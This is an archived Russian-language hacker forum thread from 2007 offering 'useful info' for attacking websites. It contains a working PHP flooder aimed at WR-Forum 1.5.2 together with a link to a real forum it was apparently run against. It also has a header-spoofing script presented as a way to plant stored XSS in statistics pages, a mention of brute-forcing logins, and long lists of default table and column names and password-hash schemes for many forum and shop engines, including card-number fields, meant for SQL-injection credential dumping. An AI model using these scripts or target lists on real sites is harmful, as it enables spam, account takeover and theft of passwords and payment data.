PDA

Просмотр полной версии : Полезная инфа


Grey
07.09.2007, 19:37
- флудеры, регеры, досеры

Флудер - программа/скрипт цель которой создать большое кол-во сообщений/тем на форуме (гостевой и т.д.), ничего полезного этим добиться нельзя (самое ужасное что ждёт админа форума это потратить время на очистку от флуда (хотя если скрипт написан криво, то есть возможность нарушить его работу, но такое бывает редко)) (собственно в большинстве случаев такими программами пользуются школьники лет 11-13, которые не могут придумать ничего более серьезного).
Регеры - программы/скрипты цель который зарегистрировать большое кол-во аккаунтов, елси же в регерах асек или мыльников есть хоть какой то толк (всё это нареганное добро можно будет продать в дальнейшем), то от регера акков на форуме (гостевой и т.д.) толку нет, кроме того что бы прибавить работу админу (модеру и т.д.).
Досеры - программы цель которых создать большое кол-во соединений, которые загрузят атакуемый сервак после чего его работа будет нарушена на какое то время (ввиду того что ачат против доса, работу таких программ расматривать не будем).

Напишем простой флудер, для не большого форума WR-Forum версии 1.5.2
Скачать сам скрипт форума можно здесь: http://woweb.ru/load/56-1-0-3745

Смотрим страницу создания новой темы, видим форму:

<form action="index.php?event=addtopic&fid=1" method=post name=REPLIER><input type=text class=post name=name size=23> <input type=text class=post name=email size=24><br><input type=text class=post name=zag maxlength=60 size=50><br>
<textarea class=post cols=100 rows=6 name=msg></textarea>
<BR><input type=submit class=mainoption value=' Добавить '></td></form>

Здесь нам понадобится это:

Путь до обрабатывающего данные скрипта:

action=index.php?event=addtopic&fid=

Имена переменных:

name=name
name=zag
name=msg

И смотрим какой тип передачи данных post или get

Тип передачи данных post, напишем на php не большой скрипт:

<?php

$host = 'localhost'; // адрес сайта без http:// к примеру site.ru
$path = '/forum/'; // путь до форума, к примеру /forum/
$n = 100; // число тем, которые будут созданы.


$path .= 'index.php?event=addtopic&fid=1';

for($i = 0; $i < $n; $i++)
{
$sock = fsockopen($host, '80');
$data = 'name='.$i.'&zag='.$i.'&msg='.$i; // имена переменных берём отсюда: input type=text class=post name=name size=23
$len = strlen($data);
$headers = "POST $path HTTP/1.1\r\nHost: $host\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: $len\r\n\r\n$data\r\nConnection: close\r\n\r\n";
fputs($sock, $headers);
fclose($sock);
}

?>

Делать подробное описание каждого оператора и функции нет смысла - тот, кто знаком с php напишет такой скрипт минут за 5, а те кто не знаком с php врятли поймут что либо, читая описание каждой строки этого скрипта. Поэтому для тех кто не знает php я подобрал небольшую сборку статей (или даже вырезок из статей) на тему передачи данных.
все необходимые файлы приаттачены к посту.

Суть этого флудера сводится к установке соединения и передачи данных, которые передавались бы из формы отправки.

Результат работы скрипта можно наблюдать здесь: __http://ce__nt__er.uct.ua/for__um/?fid=1 (уберити из сылки "__")

Написать по аналогии регер не сложно. Единственный момент, это всевозможная защита (ограничение по времени, картинка с кодом) - написать флудер для хорошо защищённого форума (гостевой и т.д. сложно).
Хотя если защита сделана криво, к примеру есть гостевые книги в которых защита сводится к проверки сообщения на сходство с предыдущим (т.е. нельзя написать два одинаковых сообщения), то в нашем случае такая защита будет бесполезна (т.к. текст сообщения здесь меняется).

Если защита от флуда сделана надлежащим образом, то писать флудер который будет обходить защиту и тратить на это время, не рационально, т.к. особого толка от него не будет (долгое время работы и не большой результат).

- x-forward-for, client-ip, referer

Раз речь зашла про передачу данных, то в кратце расскажу про подделку referer (ну и других переменных окружения). Было бы неплохо если бы кто нибудь более подробно раскрыл эту тему.

Когды вы посещаете страницу, то ваш браузер передаёт некоторую о вас информацию, среди этой информации referer - страница с которой вы перешли на данный сайт, user-agent - информация о вашем браузере и операционной системы.
На многих сайтах ведётся статистика, и многие не сильно продвинутые кодеры забывают фильтровать эти данные и как следствие (статистика как правило отображается) мы получаем активную xss.

Для подделки этих данных существует достаточно большое кол-во программ/скриптов, привиду пример такого скрипта:

<?php
if($HTTP_POST_VARS['form1'] == 1):
$host = $HTTP_POST_VARS['host'];
$port = $HTTP_POST_VARS['port'];
$path = $HTTP_POST_VARS['path'];
$referer = $HTTP_POST_VARS['referer'];
$user_agent = $HTTP_POST_VARS['user_agent'];
$s = fsockopen($host,$port) or die ('Не удаётся присоединиться к хосту.<br>');
echo('Соединение установлено.<br>'.$s.'<hr><br>');
$headers = "GET $path HTTP/1.1\r\nHost: $host\r\nReferer: $referer\r\nUser-Agent: $user_agent\r\nConnection: close\r\n\r\n";
fputs($s, $headers);
echo ('Данные переданы.<br>'.fgets($s));
fclose($s);
else:
?>
<table border='0' cellpadding='0' cellspacing='0' width='600'>
<form method='post'>
<input type='hidden' name='form1' value='1'>
<tr>
<td width='25%' height='30'>Host:</td>
<td width='40%' height='30'><input type='text' name='host' size='25'></td>
<td width='35%' height='30'><b>localhost</b></td>
</tr>
<tr>
<td width='25%' height='30'>Port:</td>
<td width='40%' height='30'><input type='text' name='port' size='4' value='80'></td>
<td width='35%' height='30'><b>80</b></td>
</tr>
<tr>
<td width='25%' height='30'>Path:</td>
<td width='40%' height='30'><input type='text' name='path' size='25'></td>
<td width='35%' height='30'><b>/dir/name.php</b></td>
</tr>
<tr>
<td width='25%' height='30'>Referer:</td>
<td width='40%' height='30'><input type='text' name='referer' size='25'></td>
<td width='35%' height='30'><b>test1</b></td>
</tr>
<tr>
<td width='25%' height='30'>User-agent:</td>
<td width='40%' height='30'><input type='text' name='user_agent' size='25'></td>
<td width='35%' height='30'><b>test2</b></td>
</tr>
<tr>
<td width='100%' height='30' colspan=3><input type='submit' value='Enter'></td>
</tr>
</form>
</table>
<?php
endif;
?>

Простейший скрипт для подделки referer"а и user_agent"а.

Что еще полезного можно сделать имея минимум знаний по протоколу HTTP/1.1 и php?

Ну к примеру написать скрипт для брута паролей на сайте, суть проста отправлять данные и парсить страницу на наличие/отсутствие тех или иных слов указывающий на правильный/не правильный логин и пароль (правда конечно назвать такой брут рациональным способом взлома сложно).

Вообще что бы лучше понять тему передачи данных не мешает просмотреть rfc2616 (мануал по протоколу HTTP/1.1)

Вырезки из статей на тему передачи данных:

Grey
07.09.2007, 23:51
- имена таблиц\столбцов sql

Invision Power Board

Таблица с хешами паролей пользователей:

PREFIX_members_converge

Колонки с хешем пароля и солью:

converge_pass_hash
converge_pass_salt

По умолчанию префикс: ibf

Алгоритм хеширования: md5(md5($salt).md5($pass))

phpBB

Таблица с хешами паролей пользователей:

PREFIX_users

Колонки с логином и хешем пароля:

username
user_password

По умолчанию префикс: phpbb

Алгоритм хеширования: md5($pass)

YaBB SE (v 1.0.0)

Таблица с хешами паролей пользователей:

PREFIX_members

Колонки с логином и хешем пароля:

memberName
passwd

По умолчанию префикс: yabbse

Board v3.0

Таблица с паролями пользователей:

board000_users

Колонки с логином и паролем:

name
password

Пароль в чистом виде (не хеширован).

При установке нет возможности изменить префикс.

ITA Forum

Таблица с хешами паролей пользователей:

itaf_user

Колонки с логином и хешем пароля:

user_name
user_pass

Алгоритм хеширования: md5($pass)

При установке нет возможности изменить префикс.

XMB (1.5 Full)

Таблица с хешами паролей пользователей:

members

Колонки с логином и хешем пароля:

username
password

Алгоритм хеширования: md5($pass)

UBB Threads (5.5)

Таблица с паролями пользователей:

w3t_Users

Колонки с логином и паролем:

U_Username
U_Password

RusBB (0.7)

Таблица с паролями пользователей:

users

Колонки с логином и паролем:

name
pass

Пароль в чистом виде (не хеширован).

KerviNet Forum (1.1)

Таблица с паролями пользователей:

users

Колонки с логином и паролем:

name
pass

Пароль в чистом виде (не хеширован).

ettee
22.09.2007, 18:34
Default tables:

PhpBB:
[phpbb_users]
username
user_password
user_email
default hash: md5($pass)

IPB:
ibf_members_converge
ibf_members
ibf_sessions
ipb.ibf_members
forum.ibf_members
ibf_admin_sessions
ibf_conf_settings
ibf_member_extra
ibf_members_converge
[ibf_members]
name
password
default hash(IPB 2.x.x.): md5(md5($salt).md5($pass))

phpBB2:
phpBB2.forum_users

YaBB:
yabb_settings
yabbse_settings
yabbse_members

ITA Forum:
itaf_user
default hash: md5($pass)

Board:
board000_users

XMB:
[members]
username
password
default hash: md5($pass)

RusBB:
[w3t_Users]
U_Username
U_Password

KerviNet Forum:
[users]
name
pass

UBB Threads:
w3t_Users

Mambo:
[mambo_session]
session_id
time
username
gid
guest
[mambo_users]
name
username
email
password
sendEmail

e107:
e107_user
e107.e107_user
default hash: md5(md5($pass))

vBulletin:
vbulletin_session
vb_user
[vbulletin_user]
username
email
password
salt
homepage
icq
aim
parentemail
yahoo
ipaddress
msn
default hash(vBulletin 3.x.x): md5(md5($pass).$salt)

Koobi:
kpro_adminlogs
kpro_user
kpro6_user
kpro5_user
koobi4_user

MiniBB:
minibbtable_users

UseBB:
usebb_members
usebb_name

MyBB:
mybb_forums
[mybb_users]
username
password
salt
email
loginkey
icq
aim
regip

MercuryBoard:
mb_users

PunBB:
punbb_users
default hash: md5($pass)

Pforum:
phorum_user
phorum_users
phorum_session

phpmyadmin:
phpmyadmin.pma_table_info
pma_table_info

SMF:
smf_members
default hash(SMF 1.1.x.): sha1($username.$pass)

Nuke:
nuke_authors
nuke_bbconfig
nuke_config
nuke_popsettings
nuke_users

Smallnuke:
sn_admins
sn_members

OpenBB:
obb_profiles

phpfusion:
fusion_new_users
fusion_user_groups
fusion_users

4images:
4images_users

Phppgads:
phpads_affiliates
phpads_clients
phpads_config

Shop-Script:
SS_orders
shop.cards
shop.orders

XOOPS:
xoops_bannerclient
xoops_users

osCommerce:
cc_type
cc_owner
cc_number
cc_expires

Xaraya:
xar_email
xar_name
xar_pass
xar_roles
xar_uid
xar_uname
i_xar_roles_email
i_xar_roles_name

Coppermine Photo Gallery:
cpg_bridge
cpg_config

OsCommerce(shop):
[address_book]
entry_company
entry_firstname
entry_lastname
entry_street_address
entry_city
entry_state
admin_access
[admin_access]
configuration
server_info
whos_online
accounting
create_account
customers_status
coupon_admin
mail
credits
blacklist

banktransfer_owner
banktransfer_number
banktransfer_bankname
banktransfer_blz
banktransfer_status
banktransfer_prz
banktransfer_fax
[customers]
customers_email_address
customers_password
password_request_key

Voodoo chat:
voodoo_members

BlastChat:
jos_blastchatc_users
jos_comprofiler_members
jos_joomblog_users
jos_messages_cfg
jos_moschat_users
jos_users

Other chat:
chat_config
chat_users

Default fields:
[user/grop/id/member/nick/account]
group
groups
group_id
group_id_misc
member_name
member_id
news_user
memberid
memberids
membersid
membersids
news_users
user_id
users_id
userid
userids
usersid
usersids
membername
membernames
usr
usrs
group_name
membergroupids
usergroupid
account
clients
client
adid
admin_id
adm
admin
admins
administrator
administrators
adminlogin
users
nick
nicks
name
names
usrlogin
usr_login
userlogin
user_login
usr_name
usename
use_name
username
user_name
nickname
nick_name
user_nick
nickuser
nick_user
nickusers
nick_users
accounts
auth_user
auth_users
reg_users
member
members
reguser
regusers
reg_user
displaygroupid
login_name
id
uid
login
userlogin
user_id
ids
id_group
id_member
id_members
userlogin
userlogins
user
logins
username
usersname
user_name
user_table
user_website

[mail]
email
e-mail
mail
email_full
email_pm
emailaddress
emailnotification
emailonpm
emailstamp
member
members
pntomail
sendemail
showemail
szemailaddress
user_email
user_hide_email
user_viewemail
admin_email
adminemail
adminmail
blogmail_account
blogmail_password
board_email
cansendemail
ci_email
converge_email
parentemail

[session]
sid
sids
sesskey
session
sessions
session_id
session_ip_address
session_member_id
session_member_login_key
session_member_name

[hash/salt]
converge_pass_hash
converge_pass_salt
hash
hashsalt
md5hash
salt
hashsalt

[config/setting]
settings
setting
config
conf
configs
customers
customer

[password]
parol
lostpass
lost_pass
lostpasswords
lost_passwords
user_pass
users_pass
userpassword
passwd
customers_password
pass
pw
pwd
users_password
user_passwords
userpass
temppass
temp_pass
temppasword
temp_password
admin_pw
admin_pwd
user_pass
user_password
user_newpasswd
user_password
userpassword
alb_password
clientpassword
login_pw
login_pwd
userpw
user_pw
passtemp
passwd
password
passwords
auth_pwd
auth_pw
auth_passwd
auth_passwds
auth_password
auth_passwords
authpasswords
auth_password
authpasswd
authpasswds
user_newpwdkey
passworddate
passwordsalt

[B]Default columns:
personal_key
last_login
userip
user_level
text
data
status
phone
tbl
tbls
news
logs
log
statistics
test
orders
order
articles
article
links
main
info
content
contact
contacts
dealer
dealers
client
clients
partner
partners
author
authors
key
keys
aid
aim
aim_name
album_id
albumname
ci_accountname
cid
clientid
clientname
clientusername
converge_id
db_database_name
db_hostname
db_password
db_username
fid
forumname
gid
homepage
icq
icq_number
ip
ip_addr
ip_address
ipaddress
languageid
last_ip
lastname
legacy_password
license_number
login
login_anonymous
loginkey
mapid
member_login_key
memberip
msnname
org_perm_id
page_id
pid
realname
referenceid
referrerid
regip
registration_ip
reputationlevelid
secretanswer
secretquestion
short_name
smtp_host
smtp_password
smtp_username
styleid
table_prefix
user
user_aim
user_icq
user_id
user_ip
userlogin
version
website
zip

thx: [53x]Shadow

[53x]Shadow
23.09.2007, 17:05
update:

e107:
[e107_user]
user_name
user_password

phpfusion:
[fusion_users]
user_name
user_password
user_email
user_hide_email
user_aim
user_icq
user_msn
user_yahoo
user_web
default hash: md5($password)